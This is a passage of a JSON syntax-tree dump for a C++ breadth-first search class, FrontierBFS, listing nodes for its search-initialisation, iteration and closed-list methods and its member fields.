"start_point": {"row": 27, "column": 26}, "end_point": {"row": 27, "column": 33}}, {"id": 112, "type": "declaration", "text": "void InitializeSearch(SearchEnvironment<state, action> *env, state &from);", "parent": 0, "children": [113, 114], "start_point": {"row": 29, "column": 1}, "end_point": {"row": 29, "column": 75}}, {"id": 113, "type": "primitive_type", "text": "void", "parent": 112, "children": [], "start_point": {"row": 29, "column": 1}, "end_point": {"row": 29, "column": 5}}, {"id": 114, "type": "function_declarator", "text": "InitializeSearch(SearchEnvironment<state, action> *env, state &from)", "parent": 112, "children": [115, 116], "start_point": {"row": 29, "column": 6}, "end_point": {"row": 29, "column": 74}}, {"id": 115, "type": "identifier", "text": "InitializeSearch", "parent": 114, "children": [], "start_point": {"row": 29, "column": 6}, "end_point": {"row": 29, "column": 22}}, {"id": 116, "type": "parameter_list", "text": "(SearchEnvironment<state, action> *env, state &from)", "parent": 114, "children": [117, 122, 129], "start_point": {"row": 29, "column": 22}, "end_point": {"row": 29, "column": 74}}, {"id": 117, "type": "parameter_declaration", "text": "SearchEnvironment<state", "parent": 116, "children": [118, 119, 121], "start_point": {"row": 29, "column": 23}, "end_point": {"row": 29, "column": 46}}, {"id": 118, "type": "type_identifier", "text": "SearchEnvironment", "parent": 117, "children": [], "start_point": {"row": 29, "column": 23}, "end_point": {"row": 29, "column": 40}}, {"id": 119, "type": "ERROR", "text": "<", "parent": 117, "children": [120], "start_point": {"row": 29, "column": 40}, "end_point": {"row": 29, "column": 41}}, {"id": 120, "type": "<", "text": "<", "parent": 119, "children": [], "start_point": {"row": 29, "column": 40}, "end_point": {"row": 29, "column": 41}}, {"id": 121, "type": "identifier", "text": "state", "parent": 117, "children": [], "start_point": {"row": 29, "column": 41}, "end_point": {"row": 29, "column": 46}}, {"id": 122, "type": "parameter_declaration", "text": "action> *env", "parent": 116, "children": [123, 124, 126], "start_point": {"row": 29, "column": 48}, "end_point": {"row": 29, "column": 60}}, {"id": 123, "type": "type_identifier", "text": "action", "parent": 122, "children": [], "start_point": {"row": 29, "column": 48}, "end_point": {"row": 29, "column": 54}}, {"id": 124, "type": "ERROR", "text": ">", "parent": 122, "children": [125], "start_point": {"row": 29, "column": 54}, "end_point": {"row": 29, "column": 55}}, {"id": 125, "type": ">", "text": ">", "parent": 124, "children": [], "start_point": {"row": 29, "column": 54}, "end_point": {"row": 29, "column": 55}}, {"id": 126, "type": "pointer_declarator", "text": "*env", "parent": 122, "children": [127, 128], "start_point": {"row": 29, "column": 56}, "end_point": {"row": 29, "column": 60}}, {"id": 127, "type": "*", "text": "*", "parent": 126, "children": [], "start_point": {"row": 29, "column": 56}, "end_point": {"row": 29, "column": 57}}, {"id": 128, "type": "identifier", "text": "env", "parent": 126, "children": [], "start_point": {"row": 29, "column": 57}, "end_point": {"row": 29, "column": 60}}, {"id": 129, "type": "parameter_declaration", "text": "state &from", "parent": 116, "children": [130], "start_point": {"row": 29, "column": 62}, "end_point": {"row": 29, "column": 73}}, {"id": 130, "type": "type_identifier", "text": "state", "parent": 129, "children": [], "start_point": {"row": 29, "column": 62}, "end_point": {"row": 29, "column": 67}}, {"id": 131, "type": "declaration", "text": "void InitializeSearch(SearchEnvironment<state, action> *env, std::vector<state> &from);", "parent": 0, "children": [132, 133], "start_point": {"row": 30, "column": 1}, "end_point": {"row": 30, "column": 88}}, {"id": 132, "type": "primitive_type", "text": "void", "parent": 131, "children": [], "start_point": {"row": 30, "column": 1}, "end_point": {"row": 30, "column": 5}}, {"id": 133, "type": "function_declarator", "text": "InitializeSearch(SearchEnvironment<state, action> *env, std::vector<state> &from)", "parent": 131, "children": [134, 135], "start_point": {"row": 30, "column": 6}, "end_point": {"row": 30, "column": 87}}, {"id": 134, "type": "identifier", "text": "InitializeSearch", "parent": 133, "children": [], "start_point": {"row": 30, "column": 6}, "end_point": {"row": 30, "column": 22}}, {"id": 135, "type": "parameter_list", "text": "(SearchEnvironment<state, action> *env, std::vector<state> &from)", "parent": 133, "children": [136, 141, 148], "start_point": {"row": 30, "column": 22}, "end_point": {"row": 30, "column": 87}}, {"id": 136, "type": "parameter_declaration", "text": "SearchEnvironment<state", "parent": 135, "children": [137, 138, 140], "start_point": {"row": 30, "column": 23}, "end_point": {"row": 30, "column": 46}}, {"id": 137, "type": "type_identifier", "text": "SearchEnvironment", "parent": 136, "children": [], "start_point": {"row": 30, "column": 23}, "end_point": {"row": 30, "column": 40}}, {"id": 138, "type": "ERROR", "text": "<", "parent": 136, "children": [139], "start_point": {"row": 30, "column": 40}, "end_point": {"row": 30, "column": 41}}, {"id": 139, "type": "<", "text": "<", "parent": 138, "children": [], "start_point": {"row": 30, "column": 40}, "end_point": {"row": 30, "column": 41}}, {"id": 140, "type": "identifier", "text": "state", "parent": 136, "children": [], "start_point": {"row": 30, "column": 41}, "end_point": {"row": 30, "column": 46}}, {"id": 141, "type": "parameter_declaration", "text": "action> *env", "parent": 135, "children": [142, 143, 145], "start_point": {"row": 30, "column": 48}, "end_point": {"row": 30, "column": 60}}, {"id": 142, "type": "type_identifier", "text": "action", "parent": 141, "children": [], "start_point": {"row": 30, "column": 48}, "end_point": {"row": 30, "column": 54}}, {"id": 143, "type": "ERROR", "text": ">", "parent": 141, "children": [144], "start_point": {"row": 30, "column": 54}, "end_point": {"row": 30, "column": 55}}, {"id": 144, "type": ">", "text": ">", "parent": 143, "children": [], "start_point": {"row": 30, "column": 54}, "end_point": {"row": 30, "column": 55}}, {"id": 145, "type": "pointer_declarator", "text": "*env", "parent": 141, "children": [146, 147], "start_point": {"row": 30, "column": 56}, "end_point": {"row": 30, "column": 60}}, {"id": 146, "type": "*", "text": "*", "parent": 145, "children": [], "start_point": {"row": 30, "column": 56}, "end_point": {"row": 30, "column": 57}}, {"id": 147, "type": "identifier", "text": "env", "parent": 145, "children": [], "start_point": {"row": 30, "column": 57}, "end_point": {"row": 30, "column": 60}}, {"id": 148, "type": "parameter_declaration", "text": "std::vector<state> &from", "parent": 135, "children": [149, 150], "start_point": {"row": 30, "column": 62}, "end_point": {"row": 30, "column": 86}}, {"id": 149, "type": "type_identifier", "text": "std", "parent": 148, "children": [], "start_point": {"row": 30, "column": 62}, "end_point": {"row": 30, "column": 65}}, {"id": 150, "type": "ERROR", "text": "::vector<state> &", "parent": 148, "children": [151, 152, 153, 154], "start_point": {"row": 30, "column": 65}, "end_point": {"row": 30, "column": 82}}, {"id": 151, "type": "identifier", "text": "vector", "parent": 150, "children": [], "start_point": {"row": 30, "column": 67}, "end_point": {"row": 30, "column": 73}}, {"id": 152, "type": "<", "text": "<", "parent": 150, "children": [], "start_point": {"row": 30, "column": 73}, "end_point": {"row": 30, "column": 74}}, {"id": 153, "type": "identifier", "text": "state", "parent": 150, "children": [], "start_point": {"row": 30, "column": 74}, "end_point": {"row": 30, "column": 79}}, {"id": 154, "type": ">", "text": ">", "parent": 150, "children": [], "start_point": {"row": 30, "column": 79}, "end_point": {"row": 30, "column": 80}}, {"id": 155, "type": "declaration", "text": "bool DoOneIteration(SearchEnvironment<state, action> *env);", "parent": 0, "children": [156, 157], "start_point": {"row": 31, "column": 1}, "end_point": {"row": 31, "column": 60}}, {"id": 156, "type": "primitive_type", "text": "bool", "parent": 155, "children": [], "start_point": {"row": 31, "column": 1}, "end_point": {"row": 31, "column": 5}}, {"id": 157, "type": "function_declarator", "text": "DoOneIteration(SearchEnvironment<state, action> *env)", "parent": 155, "children": [158, 159], "start_point": {"row": 31, "column": 6}, "end_point": {"row": 31, "column": 59}}, {"id": 158, "type": "identifier", "text": "DoOneIteration", "parent": 157, "children": [], "start_point": {"row": 31, "column": 6}, "end_point": {"row": 31, "column": 20}}, {"id": 159, "type": "parameter_list", "text": "(SearchEnvironment<state, action> *env)", "parent": 157, "children": [160, 165], "start_point": {"row": 31, "column": 20}, "end_point": {"row": 31, "column": 59}}, {"id": 160, "type": "parameter_declaration", "text": "SearchEnvironment<state", "parent": 159, "children": [161, 162, 164], "start_point": {"row": 31, "column": 21}, "end_point": {"row": 31, "column": 44}}, {"id": 161, "type": "type_identifier", "text": "SearchEnvironment", "parent": 160, "children": [], "start_point": {"row": 31, "column": 21}, "end_point": {"row": 31, "column": 38}}, {"id": 162, "type": "ERROR", "text": "<", "parent": 160, "children": [163], "start_point": {"row": 31, "column": 38}, "end_point": {"row": 31, "column": 39}}, {"id": 163, "type": "<", "text": "<", "parent": 162, "children": [], "start_point": {"row": 31, "column": 38}, "end_point": {"row": 31, "column": 39}}, {"id": 164, "type": "identifier", "text": "state", "parent": 160, "children": [], "start_point": {"row": 31, "column": 39}, "end_point": {"row": 31, "column": 44}}, {"id": 165, "type": "parameter_declaration", "text": "action> *env", "parent": 159, "children": [166, 167, 169], "start_point": {"row": 31, "column": 46}, "end_point": {"row": 31, "column": 58}}, {"id": 166, "type": "type_identifier", "text": "action", "parent": 165, "children": [], "start_point": {"row": 31, "column": 46}, "end_point": {"row": 31, "column": 52}}, {"id": 167, "type": "ERROR", "text": ">", "parent": 165, "children": [168], "start_point": {"row": 31, "column": 52}, "end_point": {"row": 31, "column": 53}}, {"id": 168, "type": ">", "text": ">", "parent": 167, "children": [], "start_point": {"row": 31, "column": 52}, "end_point": {"row": 31, "column": 53}}, {"id": 169, "type": "pointer_declarator", "text": "*env", "parent": 165, "children": [170, 171], "start_point": {"row": 31, "column": 54}, "end_point": {"row": 31, "column": 58}}, {"id": 170, "type": "*", "text": "*", "parent": 169, "children": [], "start_point": {"row": 31, "column": 54}, "end_point": {"row": 31, "column": 55}}, {"id": 171, "type": "identifier", "text": "env", "parent": 169, "children": [], "start_point": {"row": 31, "column": 55}, "end_point": {"row": 31, "column": 58}}, {"id": 172, "type": "function_definition", "text": "const FrontierBFSClosedList &GetCurrentClosedList()\n\t{\n\t\tif (mOpen1.size() > 0) return mClosed2;\n\t\tif (mOpen2.size() > 0) return mClosed1;\n\t\t//assert(!\"Open and closed are both null\");\n\t\treturn mClosed1;\n\t}", "parent": 0, "children": [173, 174], "start_point": {"row": 33, "column": 1}, "end_point": {"row": 39, "column": 2}}, {"id": 173, "type": "type_identifier", "text": "FrontierBFSClosedList", "parent": 172, "children": [], "start_point": {"row": 33, "column": 7}, "end_point": {"row": 33, "column": 28}}, {"id": 174, "type": "function_declarator", "text": "GetCurrentClosedList()", "parent": 172, "children": [175, 176], "start_point": {"row": 33, "column": 30}, "end_point": {"row": 33, "column": 52}}, {"id": 175, "type": "identifier", "text": "GetCurrentClosedList", "parent": 174, "children": [], "start_point": {"row": 33, "column": 30}, "end_point": {"row": 33, "column": 50}}, {"id": 176, "type": "parameter_list", "text": "()", "parent": 174, "children": [], "start_point": {"row": 33, "column": 50}, "end_point": {"row": 33, "column": 52}}, {"id": 177, "type": "if_statement", "text": "if (mOpen1.size() > 0) return mClosed2;", "parent": 172, "children": [178, 187], "start_point": {"row": 35, "column": 2}, "end_point": {"row": 35, "column": 41}}, {"id": 178, "type": "parenthesized_expression", "text": "(mOpen1.size() > 0)", "parent": 177, "children": [179], "start_point": {"row": 35, "column": 5}, "end_point": {"row": 35, "column": 24}}, {"id": 179, "type": "binary_expression", "text": "mOpen1.size() > 0", "parent": 178, "children": [180, 185, 186], "start_point": {"row": 35, "column": 6}, "end_point": {"row": 35, "column": 23}}, {"id": 180, "type": "call_expression", "text": "mOpen1.size()", "parent": 179, "children": [181, 184], "start_point": {"row": 35, "column": 6}, "end_point": {"row": 35, "column": 19}}, {"id": 181, "type": "field_expression", "text": "mOpen1.size", "parent": 180, "children": [182, 183], "start_point": {"row": 35, "column": 6}, "end_point": {"row": 35, "column": 17}}, {"id": 182, "type": "identifier", "text": "mOpen1", "parent": 181, "children": [], "start_point": {"row": 35, "column": 6}, "end_point": {"row": 35, "column": 12}}, {"id": 183, "type": "field_identifier", "text": "size", "parent": 181, "children": [], "start_point": {"row": 35, "column": 13}, "end_point": {"row": 35, "column": 17}}, {"id": 184, "type": "argument_list", "text": "()", "parent": 180, "children": [], "start_point": {"row": 35, "column": 17}, "end_point": {"row": 35, "column": 19}}, {"id": 185, "type": ">", "text": ">", "parent": 179, "children": [], "start_point": {"row": 35, "column": 20}, "end_point": {"row": 35, "column": 21}}, {"id": 186, "type": "number_literal", "text": "0", "parent": 179, "children": [], "start_point": {"row": 35, "column": 22}, "end_point": {"row": 35, "column": 23}}, {"id": 187, "type": "return_statement", "text": "return mClosed2;", "parent": 177, "children": [188], "start_point": {"row": 35, "column": 25}, "end_point": {"row": 35, "column": 41}}, {"id": 188, "type": "identifier", "text": "mClosed2", "parent": 187, "children": [], "start_point": {"row": 35, "column": 32}, "end_point": {"row": 35, "column": 40}}, {"id": 189, "type": "if_statement", "text": "if (mOpen2.size() > 0) return mClosed1;", "parent": 172, "children": [190, 199], "start_point": {"row": 36, "column": 2}, "end_point": {"row": 36, "column": 41}}, {"id": 190, "type": "parenthesized_expression", "text": "(mOpen2.size() > 0)", "parent": 189, "children": [191], "start_point": {"row": 36, "column": 5}, "end_point": {"row": 36, "column": 24}}, {"id": 191, "type": "binary_expression", "text": "mOpen2.size() > 0", "parent": 190, "children": [192, 197, 198], "start_point": {"row": 36, "column": 6}, "end_point": {"row": 36, "column": 23}}, {"id": 192, "type": "call_expression", "text": "mOpen2.size()", "parent": 191, "children": [193, 196], "start_point": {"row": 36, "column": 6}, "end_point": {"row": 36, "column": 19}}, {"id": 193, "type": "field_expression", "text": "mOpen2.size", "parent": 192, "children": [194, 195], "start_point": {"row": 36, "column": 6}, "end_point": {"row": 36, "column": 17}}, {"id": 194, "type": "identifier", "text": "mOpen2", "parent": 193, "children": [], "start_point": {"row": 36, "column": 6}, "end_point": {"row": 36, "column": 12}}, {"id": 195, "type": "field_identifier", "text": "size", "parent": 193, "children": [], "start_point": {"row": 36, "column": 13}, "end_point": {"row": 36, "column": 17}}, {"id": 196, "type": "argument_list", "text": "()", "parent": 192, "children": [], "start_point": {"row": 36, "column": 17}, "end_point": {"row": 36, "column": 19}}, {"id": 197, "type": ">", "text": ">", "parent": 191, "children": [], "start_point": {"row": 36, "column": 20}, "end_point": {"row": 36, "column": 21}}, {"id": 198, "type": "number_literal", "text": "0", "parent": 191, "children": [], "start_point": {"row": 36, "column": 22}, "end_point": {"row": 36, "column": 23}}, {"id": 199, "type": "return_statement", "text": "return mClosed1;", "parent": 189, "children": [200], "start_point": {"row": 36, "column": 25}, "end_point": {"row": 36, "column": 41}}, {"id": 200, "type": "identifier", "text": "mClosed1", "parent": 199, "children": [], "start_point": {"row": 36, "column": 32}, "end_point": {"row": 36, "column": 40}}, {"id": 201, "type": "return_statement", "text": "return mClosed1;", "parent": 172, "children": [202], "start_point": {"row": 38, "column": 2}, "end_point": {"row": 38, "column": 18}}, {"id": 202, "type": "identifier", "text": "mClosed1", "parent": 201, "children": [], "start_point": {"row": 38, "column": 9}, "end_point": {"row": 38, "column": 17}}, {"id": 203, "type": "function_definition", "text": "uint64_t GetNodesExpanded() { return nodesExpanded; }", "parent": 0, "children": [204, 205], "start_point": {"row": 40, "column": 1}, "end_point": {"row": 40, "column": 54}}, {"id": 204, "type": "primitive_type", "text": "uint64_t", "parent": 203, "children": [], "start_point": {"row": 40, "column": 1}, "end_point": {"row": 40, "column": 9}}, {"id": 205, "type": "function_declarator", "text": "GetNodesExpanded()", "parent": 203, "children": [206, 207], "start_point": {"row": 40, "column": 10}, "end_point": {"row": 40, "column": 28}}, {"id": 206, "type": "identifier", "text": "GetNodesExpanded", "parent": 205, "children": [], "start_point": {"row": 40, "column": 10}, "end_point": {"row": 40, "column": 26}}, {"id": 207, "type": "parameter_list", "text": "()", "parent": 205, "children": [], "start_point": {"row": 40, "column": 26}, "end_point": {"row": 40, "column": 28}}, {"id": 208, "type": "return_statement", "text": "return nodesExpanded;", "parent": 203, "children": [209], "start_point": {"row": 40, "column": 31}, "end_point": {"row": 40, "column": 52}}, {"id": 209, "type": "identifier", "text": "nodesExpanded", "parent": 208, "children": [], "start_point": {"row": 40, "column": 38}, "end_point": {"row": 40, "column": 51}}, {"id": 210, "type": "function_definition", "text": "uint64_t GetNodesTouched() { return nodesTouched; }", "parent": 0, "children": [211, 212], "start_point": {"row": 41, "column": 1}, "end_point": {"row": 41, "column": 52}}, {"id": 211, "type": "primitive_type", "text": "uint64_t", "parent": 210, "children": [], "start_point": {"row": 41, "column": 1}, "end_point": {"row": 41, "column": 9}}, {"id": 212, "type": "function_declarator", "text": "GetNodesTouched()", "parent": 210, "children": [213, 214], "start_point": {"row": 41, "column": 10}, "end_point": {"row": 41, "column": 27}}, {"id": 213, "type": "identifier", "text": "GetNodesTouched", "parent": 212, "children": [], "start_point": {"row": 41, "column": 10}, "end_point": {"row": 41, "column": 25}}, {"id": 214, "type": "parameter_list", "text": "()", "parent": 212, "children": [], "start_point": {"row": 41, "column": 25}, "end_point": {"row": 41, "column": 27}}, {"id": 215, "type": "return_statement", "text": "return nodesTouched;", "parent": 210, "children": [216], "start_point": {"row": 41, "column": 30}, "end_point": {"row": 41, "column": 50}}, {"id": 216, "type": "identifier", "text": "nodesTouched", "parent": 215, "children": [], "start_point": {"row": 41, "column": 37}, "end_point": {"row": 41, "column": 49}}, {"id": 217, "type": "labeled_statement", "text": "private:\n\n\tvoid ExpandLevel(SearchEnvironment<state, action> *env,\n\t\t\t\t\t std::deque<state> &currentOpenList,\n\t\t\t\t\t FrontierBFSClosedList &currentClosedList,\n\t\t\t\t\t std::deque<state> &nextOpenList,\n\t\t\t\t\t FrontierBFSClosedList &lastClosedList);", "parent": 0, "children": [218], "start_point": {"row": 42, "column": 0}, "end_point": {"row": 48, "column": 45}}, {"id": 218, "type": "declaration", "text": "void ExpandLevel(SearchEnvironment<state, action> *env,\n\t\t\t\t\t std::deque<state> &currentOpenList,\n\t\t\t\t\t FrontierBFSClosedList &currentClosedList,\n\t\t\t\t\t std::deque<state> &nextOpenList,\n\t\t\t\t\t FrontierBFSClosedList &lastClosedList);", "parent": 217, "children": [219, 220], "start_point": {"row": 44, "column": 1}, "end_point": {"row": 48, "column": 45}}, {"id": 219, "type": "primitive_type", "text": "void", "parent": 218, "children": [], "start_point": {"row": 44, "column": 1}, "end_point": {"row": 44, "column": 5}}, {"id": 220, "type": "function_declarator", "text": "ExpandLevel(SearchEnvironment<state, action> *env,\n\t\t\t\t\t std::deque<state> &currentOpenList,\n\t\t\t\t\t FrontierBFSClosedList &currentClosedList,\n\t\t\t\t\t std::deque<state> &nextOpenList,\n\t\t\t\t\t FrontierBFSClosedList &lastClosedList)", "parent": 218, "children": [221, 222], "start_point": {"row": 44, "column": 6}, "end_point": {"row": 48, "column": 44}}, {"id": 221, "type": "identifier", "text": "ExpandLevel", "parent": 220, "children": [], "start_point": {"row": 44, "column": 6}, "end_point": {"row": 44, "column": 17}}, {"id": 222, "type": "parameter_list", "text": "(SearchEnvironment<state, action> *env,\n\t\t\t\t\t std::deque<state> &currentOpenList,\n\t\t\t\t\t FrontierBFSClosedList &currentClosedList,\n\t\t\t\t\t std::deque<state> &nextOpenList,\n\t\t\t\t\t FrontierBFSClosedList &lastClosedList)", "parent": 220, "children": [223, 228, 235, 243, 246, 254], "start_point": {"row": 44, "column": 17}, "end_point": {"row": 48, "column": 44}}, {"id": 223, "type": "parameter_declaration", "text": "SearchEnvironment<state", "parent": 222, "children": [224, 225, 227], "start_point": {"row": 44, "column": 18}, "end_point": {"row": 44, "column": 41}}, {"id": 224, "type": "type_identifier", "text": "SearchEnvironment", "parent": 223, "children": [], "start_point": {"row": 44, "column": 18}, "end_point": {"row": 44, "column": 35}}, {"id": 225, "type": "ERROR", "text": "<", "parent": 223, "children": [226], "start_point": {"row": 44, "column": 35}, "end_point": {"row": 44, "column": 36}}, {"id": 226, "type": "<", "text": "<", "parent": 225, "children": [], "start_point": {"row": 44, "column": 35}, "end_point": {"row": 44, "column": 36}}, {"id": 227, "type": "identifier", "text": "state", "parent": 223, "children": [], "start_point": {"row": 44, "column": 36}, "end_point": {"row": 44, "column": 41}}, {"id": 228, "type": "parameter_declaration", "text": "action> *env", "parent": 222, "children": [229, 230, 232], "start_point": {"row": 44, "column": 43}, "end_point": {"row": 44, "column": 55}}, {"id": 229, "type": "type_identifier", "text": "action", "parent": 228, "children": [], "start_point": {"row": 44, "column": 43}, "end_point": {"row": 44, "column": 49}}, {"id": 230, "type": "ERROR", "text": ">", "parent": 228, "children": [231], "start_point": {"row": 44, "column": 49}, "end_point": {"row": 44, "column": 50}}, {"id": 231, "type": ">", "text": ">", "parent": 230, "children": [], "start_point": {"row": 44, "column": 49}, "end_point": {"row": 44, "column": 50}}, {"id": 232, "type": "pointer_declarator", "text": "*env", "parent": 228, "children": [233, 234], "start_point": {"row": 44, "column": 51}, "end_point": {"row": 44, "column": 55}}, {"id": 233, "type": "*", "text": "*", "parent": 232, "children": [], "start_point": {"row": 44, "column": 51}, "end_point": {"row": 44, "column": 52}}, {"id": 234, "type": "identifier", "text": "env", "parent": 232, "children": [], "start_point": {"row": 44, "column": 52}, "end_point": {"row": 44, "column": 55}}, {"id": 235, "type": "parameter_declaration", "text": "std::deque<state> &currentOpenList", "parent": 222, "children": [236, 237, 242], "start_point": {"row": 45, "column": 6}, "end_point": {"row": 45, "column": 40}}, {"id": 236, "type": "type_identifier", "text": "std", "parent": 235, "children": [], "start_point": {"row": 45, "column": 6}, "end_point": {"row": 45, "column": 9}}, {"id": 237, "type": "ERROR", "text": "::deque<state> &", "parent": 235, "children": [238, 239, 240, 241], "start_point": {"row": 45, "column": 9}, "end_point": {"row": 45, "column": 25}}, {"id": 238, "type": "identifier", "text": "deque", "parent": 237, "children": [], "start_point": {"row": 45, "column": 11}, "end_point": {"row": 45, "column": 16}}, {"id": 239, "type": "<", "text": "<", "parent": 237, "children": [], "start_point": {"row": 45, "column": 16}, "end_point": {"row": 45, "column": 17}}, {"id": 240, "type": "identifier", "text": "state", "parent": 237, "children": [], "start_point": {"row": 45, "column": 17}, "end_point": {"row": 45, "column": 22}}, {"id": 241, "type": ">", "text": ">", "parent": 237, "children": [], "start_point": {"row": 45, "column": 22}, "end_point": {"row": 45, "column": 23}}, {"id": 242, "type": "identifier", "text": "currentOpenList", "parent": 235, "children": [], "start_point": {"row": 45, "column": 25}, "end_point": {"row": 45, "column": 40}}, {"id": 243, "type": "parameter_declaration", "text": "FrontierBFSClosedList &currentClosedList", "parent": 222, "children": [244, 245], "start_point": {"row": 46, "column": 6}, "end_point": {"row": 46, "column": 46}}, {"id": 244, "type": "type_identifier", "text": "FrontierBFSClosedList", "parent": 243, "children": [], "start_point": {"row": 46, "column": 6}, "end_point": {"row": 46, "column": 27}}, {"id": 245, "type": "identifier", "text": "currentClosedList", "parent": 243, "children": [], "start_point": {"row": 46, "column": 29}, "end_point": {"row": 46, "column": 46}}, {"id": 246, "type": "parameter_declaration", "text": "std::deque<state> &nextOpenList", "parent": 222, "children": [247, 248, 253], "start_point": {"row": 47, "column": 6}, "end_point": {"row": 47, "column": 37}}, {"id": 247, "type": "type_identifier", "text": "std", "parent": 246, "children": [], "start_point": {"row": 47, "column": 6}, "end_point": {"row": 47, "column": 9}}, {"id": 248, "type": "ERROR", "text": "::deque<state> &", "parent": 246, "children": [249, 250, 251, 252], "start_point": {"row": 47, "column": 9}, "end_point": {"row": 47, "column": 25}}, {"id": 249, "type": "identifier", "text": "deque", "parent": 248, "children": [], "start_point": {"row": 47, "column": 11}, "end_point": {"row": 47, "column": 16}}, {"id": 250, "type": "<", "text": "<", "parent": 248, "children": [], "start_point": {"row": 47, "column": 16}, "end_point": {"row": 47, "column": 17}}, {"id": 251, "type": "identifier", "text": "state", "parent": 248, "children": [], "start_point": {"row": 47, "column": 17}, "end_point": {"row": 47, "column": 22}}, {"id": 252, "type": ">", "text": ">", "parent": 248, "children": [], "start_point": {"row": 47, "column": 22}, "end_point": {"row": 47, "column": 23}}, {"id": 253, "type": "identifier", "text": "nextOpenList", "parent": 246, "children": [], "start_point": {"row": 47, "column": 25}, "end_point": {"row": 47, "column": 37}}, {"id": 254, "type": "parameter_declaration", "text": "FrontierBFSClosedList &lastClosedList", "parent": 222, "children": [255, 256], "start_point": {"row": 48, "column": 6}, "end_point": {"row": 48, "column": 43}}, {"id": 255, "type": "type_identifier", "text": "FrontierBFSClosedList", "parent": 254, "children": [], "start_point": {"row": 48, "column": 6}, "end_point": {"row": 48, "column": 27}}, {"id": 256, "type": "identifier", "text": "lastClosedList", "parent": 254, "children": [], "start_point": {"row": 48, "column": 29}, "end_point": {"row": 48, "column": 43}}, {"id": 257, "type": "declaration", "text": "uint64_t nodesExpanded, nodesTouched;", "parent": 0, "children": [258, 259, 260], "start_point": {"row": 51, "column": 1}, "end_point": {"row": 51, "column": 38}}, {"id": 258, "type": "primitive_type", "text": "uint64_t", "parent": 257, "children": [], "start_point": {"row": 51, "column": 1}, "end_point": {"row": 51, "column": 9}}, {"id": 259, "type": "identifier", "text": "nodesExpanded", "parent": 257, "children": [], "start_point": {"row": 51, "column": 10}, "end_point": {"row": 51, "column": 23}}, {"id": 260, "type": "identifier", "text": "nodesTouched", "parent": 257, "children": [], "start_point": {"row": 51, "column": 25}, "end_point": {"row": 51, "column": 37}}, {"id": 261, "type": "declaration", "text": "int depth;", "parent": 0, "children": [262, 263], "start_point": {"row": 52, "column": 1}, "end_point": {"row": 52, "column": 11}}, {"id": 262, "type": "primitive_type", "text": "int", "parent": 261, "children": [], "start_point": {"row": 52, "column": 1}, "end_point": {"row": 52, "column": 4}}, {"id": 263, "type": "identifier", "text": "depth", "parent": 261, "children": [], "start_point": {"row": 52, "column": 5}, "end_point": {"row": 52, "column": 10}}, {"id": 264, "type": "labeled_statement", "text": "std::deque<state> mOpen1;", "parent": 0, "children": [265], "start_point": {"row": 54, "column": 1}, "end_point": {"row": 54, "column": 26}}, {"id": 265, "type": "statement_identifier", "text": "std", "parent": 264, "children": [], "start_point": {"row": 54, "column": 1}, "end_point": {"row": 54, "column": 4}}, {"id": 266, "type": "binary_expression", "text": "deque<state> mOpen1", "parent": 264, "children": [267, 271, 272], "start_point": {"row": 54, "column": 6}, "end_point": {"row": 54, "column": 25}}, {"id": 267, "type": "binary_expression", "text": "deque<state", "parent": 266, "children": [268, 269, 270], "start_point": {"row": 54, "column": 6}, "end_point": {"row": 54, "column": 17}}, {"id": 268, "type": "identifier", "text": "deque", "parent": 267, "children": [], "start_point": {"row": 54, "column": 6}, "end_point": {"row": 54, "column": 11}}, {"id": 269, "type": "<", "text": "<", "parent": 267, "children": [], "start_point": {"row": 54, "column": 11}, "end_point": {"row": 54, "column": 12}}, {"id": 270, "type": "identifier", "text": "state", "parent": 267, "children": [], "start_point": {"row": 54, "column": 12}, "end_point": {"row": 54, "column": 17}}, {"id": 271, "type": ">", "text": ">", "parent": 266, "children": [], "start_point": {"row": 54, "column": 17}, "end_point": {"row": 54, "column": 18}}, {"id": 272, "type": "identifier", "text": "mOpen1", "parent": 266, "children": [], "start_point": {"row": 54, "column": 19}, "end_point": {"row": 54, "column": 25}}, {"id": 273, "type": "labeled_statement", "text": "std::deque<state> mOpen2;", "parent": 0, "children": [274], "start_point": {"row": 55, "column": 1}, "end_point": {"row": 55, "column": 26}}, {"id": 274, "type": "statement_identifier", "text": "std", "parent": 273, "children": [], "start_point": {"row": 55, "column": 1}, "end_point": {"row": 55, "column": 4}}, {"id": 275, "type": "binary_expression", "text": "deque<state> mOpen2", "parent": 273, "children": [276, 280, 281], "start_point": {"row": 55, "column": 6}, "end_point": {"row": 55, "column": 25}}, {"id": 276, "type": "binary_expression", "text": "deque<state", "parent": 275, "children": [277, 278, 279], "start_point": {"row": 55, "column": 6}, "end_point": {"row": 55, "column": 17}}, {"id": 277, "type": "identifier", "text": "deque", "parent": 276, "children": [], "start_point": {"row": 55, "column": 6}, "end_point": {"row": 55, "column": 11}}, {"id": 278, "type": "<", "text": "<", "parent": 276, "children": [], "start_point": {"row": 55, "column": 11}, "end_point": {"row": 55, "column": 12}}, {"id": 279, "type": "identifier", "text": "state", "parent": 276, "children": [], "start_point": {"row": 55, "column": 12}, "end_point": {"row": 55, "column": 17}}, {"id": 280, "type": ">", "text": ">", "parent": 275, "children": [], "start_point": {"row": 55, "column": 17}, "end_point": {"row": 55, "column": 18}}, {"id": 281, "type": "identifier", "text": "mOpen2", "parent": 275, "children": [], "start_point": {"row": 55, "column": 19}, "end_point": {"row": 55, "column": 25}}, {"id": 282, "type": "declaration", "text": "FrontierBFSClosedList mClosed1;", "parent": 0, "children": [283, 284], "start_point": {"row": 56, "column": 1}, "end_point": {"row": 56, "column": 32}}, {"id": 283, "type": "type_identifier", "text": "FrontierBFSClosedList", "parent": 282, "children": [], "start_point": {"row": 56, "column": 1}, "end_point": {"row": 56, "column": 22}}, {"id": 284, "type": "identifier", "text": "mClosed1", "parent": 282, "children": [], "start_point": {"row": 56, "column": 23}, "end_point": {"row": 56, "column": 31}}, {"id": 285, "type": "declaration", "text": "FrontierBFSClosedList mClosed2;", "parent": 0, "children": [286, 287], "start_point": {"row": 57, "column": 1}, "end_point": {"row": 57, "column": 32}}, {"id": 286, "type": "type_identifier", "text": "FrontierBFSClosedList", "parent": 285, "children": [], "start_point": {"row": 57, "column": 1}, "end_point": {"row": 57, "column": 22}}, {"id": 287, "type": "identifier", "text": "mClosed2", "parent": 285, "children": [], "start_point": {"row": 57, "column": 23}, "end_point": {"row": 57, "column": 31}}, {"id": 288, "type": "comma_expression", "text": "template <class state, class action>\nvoid FrontierBFS<state, action>::InitializeSearch(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t\t\t state &from)\n{\n\tnodesExpanded = nodesTouched = 0", "parent": 0, "children": [289, 292, 294], "start_point": {"row": 61, "column": 0}, "end_point": {"row": 65, "column": 33}}, {"id": 289, "type": 